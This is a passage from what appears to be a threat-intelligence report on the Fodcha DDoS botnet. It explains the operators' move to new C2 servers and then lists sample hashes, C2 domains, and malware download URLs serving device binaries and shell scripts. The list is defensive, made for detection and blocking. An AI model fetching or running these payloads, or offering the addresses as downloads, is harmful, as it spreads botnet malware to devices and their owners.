The shift from v1 to v2 is due to the fact that the C2 servers corresponding to the v1 version were shutdown by a their cloud vendor, so Fodcha's operators had no choice but to re-launch v2 and update C2. The new C2 is mapped to more than a dozen IPs and is distributed across multiple countries including the US, Korea, Japan, and India, it involves more cloud providers such as Amazon, DediPath, DigitalOcean, Linode, and many others.

IoC

Sample Hash(md5)

0e3ff1a19fcd087138ec85d5dba59715
1b637faa5e424966393928cd6df31849
208e72261e10672caa60070c770644ba
2251cf2ed00229c8804fc91868b3c1cb
2a02e6502db381fa4d4aeb356633af73
2ed0c36ebbeddb65015d01e6244a2846
2fe2deeb66e1a08ea18dab520988d9e4
37adb95cbe4875a9f072ff7f2ee4d4ae
3fc8ae41752c7715f7550dabda0eb3ba
40f53c47d360c1c773338ef5c42332f8
4635112e2dfe5068a4fe1ebb1c5c8771
525670acfd097fa0762262d9298c3b3b
54e4334baa01289fa4ee966a806ef7f1
5567bebd550f26f0a6df17b95507ca6d
5bdb128072c02f52153eaeea6899a5b1
6244e9da30a69997cf2e61d8391976d9
65dd4b23518cba77caab3e8170af8001
6788598e9c37d79fd02b7c570141ddcf
760b2c21c40e33599b0a10cf0958cfd4
792fdd3b9f0360b2bbee5864845c324c
7a6ebf1567de7e432f09f53ad14d7bc5
9413d6d7b875f071314e8acae2f7e390
954879959743a7c63784d1204efc7ed3
977b4f1a153e7943c4db6e5a3bf40345
9defda7768d2d806b06775c5768428c4
9dfa80650f974dffe2bda3ff8495b394
a996e86b511037713a1be09ee7af7490
b11d8e45f7888ce85a67f98ed7f2cd89
b1776a09d5490702c12d85ab6c6186cd
b774ad07f0384c61f96a7897e87f96c0
c99db0e8c3ecab4dd7f13f3946374720
c9cbf28561272c705c5a6b44897757ca
cbdb65e4765fbd7bcae93b393698724c
d9c240dbed6dfc584a20246e8a79bdae
e372e5ca89dbb7b5c1f9f58fe68a8fc7
ebf81131188e3454fe066380fa469d22
fe58b08ea78f3e6b1f59e5fe40447b11

Download Links

http://139.177.195.192/bins/arm
http://139.177.195.192/bins/arm5
http://139.177.195.192/bins/arm7
http://139.177.195.192/bins/mips
http://139.177.195.192/bins/realtek.mips
http://139.177.195.192/blah
http://139.177.195.192/linnn
http://139.177.195.192/skidrt
http://139.177.195.192/z.sh
http://162.33.179.171/bins/arm
http://162.33.179.171/bins/arm7
http://162.33.179.171/bins/mpsl
http://162.33.179.171/bins/realtek.mips
http://162.33.179.171/bins/realtek.mpsl
http://162.33.179.171/blah
http://162.33.179.171/k.sh
http://162.33.179.171/linnn
http://162.33.179.171/z.sh
http://206.188.197.104/bins/arm7
http://206.188.197.104/bins/realtek.mips
http://206.188.197.104/skidrt
http://31.214.245.253/bins/arm
http://31.214.245.253/bins/arm7
http://31.214.245.253/bins/mips
http://31.214.245.253/bins/mpsl
http://31.214.245.253/bins/x86
http://31.214.245.253/k.sh
http://31.214.245.253/kk.sh

C2 domain

folded.in
fridgexperts.cc

Contact us

Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.